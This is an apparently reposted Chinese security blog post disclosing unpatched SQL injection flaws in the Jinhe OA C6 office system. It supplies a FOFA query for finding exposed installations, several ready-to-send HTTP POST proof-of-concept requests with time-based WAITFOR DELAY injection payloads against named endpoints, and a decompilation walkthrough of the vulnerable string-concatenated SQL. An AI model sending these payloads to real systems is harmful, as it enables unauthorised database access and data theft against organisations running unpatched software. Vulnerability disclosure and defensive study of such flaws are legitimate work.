文章总结: 本文披露金和OAC6存在多个SQL注入0day漏洞。经反编译分析发现,AjaxForCenterBudgetDecompose.ashx等接口直接拼接用户参数如strDeptId和strYear,导致SQL注入风险。攻击者可借此执行恶意语句窃取数据。文章详细展示了漏洞逻辑并提供了验证POC,建议受影响方尽快进行安全加固。 综合评分: 90 文章分类: 代码审计,漏洞分析,漏洞POC
[代码审计]金和OA存在多个SQL注入0day
原创
静师傅
安静安全
2025年12月28日 14:09 广东
点击上方蓝色字体关注我们
- 小插曲-
AjaxForCenterBudgetDecompose、BudgetDecomposeEdit、AjaxForCompanyBudgetDecompose
影响版本:
金和OA C6
fofa语法:
app=”金和网络-金和OA”
POC:
POST /c6/JHSoft.Web.CostControl/Decompose/AjaxForCenterBudgetDecompose.ashx/ HTTP/1.1Host: IP:PORTContent-Type: application/x-www-form-urlencodedContent-Length: 72
strType=getDectomposeDepartment&strDeptId=20121;;WAITFOR DELAY '0:0:5'--
POST /c6/JHSoft.Web.CostControl/Decompose/AjaxForCenterBudgetDecompose.ashx/ HTTP/1.1Host: IP:PORTContent-Type: application/x-www-form-urlencodedContent-Length: 72
strType=getBudgetTime&strDeptId=1&strYear=2012;WAITFOR DELAY '0:0:5'--&type=1' WAITFOR DELAY '0:0:5'--
POST /c6/JHSoft.Web.CostControl/Decompose/BudgetDecomposeEdit.aspx/ HTTP/1.1Host: IP:PORTContent-Type: application/x-www-form-urlencodedContent-Length: 72
httpAppID=1' WAITFOR DELAY '0:0:5'--&httpOID=1
漏洞分析:
找到
AjaxForCenterBudgetDecompose.ashx处Class=”JHSoft.Web.CostControl.Decompose.AjaxForCompanyBudgetDecompose”
对应DLL为JHSoft.Web.CostControl.dll
通过ILSpy反编译该dll分析代码逻辑
分析当strType=getDectomposeDepartment时的分支
代码如下:
case "getDectomposeDepartment":{ string strDeptId3 = context.Request["strDeptId"]; context.Response.Write(DataDectomposeDepartment(strDeptId3)); break;}
接受参数为strDeptId,跟进DataDectomposeDepartment方法查看具体处理逻辑
bdDao.GetDepartment(” and DeptParentID = ” + strDeptId);
直接拼接了strDeptId参数,形成SQL风险
继续跟进GetDepartment方法查看
最终ExecSQLReDataTable完成SQL语句执行
继续分析当strType=getBudgetTime时的分支
代码如下:
case "getBudgetTime":{ string strDeptId4 = context.Request["strDeptId"]; string type = context.Request["type"]; string timeType = context.Request["TimeType"]; context.Response.Write(DataPeriodList(strYear, strDeptId4, type, timeType)); break;}
接收参数分别为strDeptId、type、TimeType、strYear
跟进DataPeriodList方法
bdDao.GetBudgetTime(strYear, strDeptId, type);
继续跟进GetBudgetTime方法
参数直接拼接SQL语句形成SQL注入漏洞
继续分析BudgetDecomposeEdit.aspx
在Page_Load方法中为两个参数httpAppID、httpOID
跟进GetAppNow方法
也是通过直接拼接参数形成SQL注入
AjaxForCompanyBudgetDecompose.ashx
这里分析当strType=getBudgetTime时的分支
跟进DataPeriodList方法
继续跟进GetBudgetTime方法
参数strYear直接拼接形成SQL注入
POC:
POST /c6/JHSoft.Web.CostControl/Decompose/AjaxForCompanyBudgetDecompose.ashx/ HTTP/1.1Host: IP:PORTContent-Type: application/x-www-form-urlencodedContent-Length: 55
strType=getBudgetTime&strYear=1;WAITFOR DELAY '0:0:5'--
# 往期推荐
[安全研究篇]关于微软powershell零日漏洞的POC
powershell-CVE-2025-54100漏洞POC补充复现
[代码审计-新0day]华天动力OA存在多个SQL注入漏洞
安静安全交流群
点个 在看 你最好看
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:安静安全 静师傅《[代码审计]金和OA存在多个SQL注入0day》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。


![[代码审计]金和OA存在多个SQL注入0day](/images/random/titlepic/2.jpg)






评论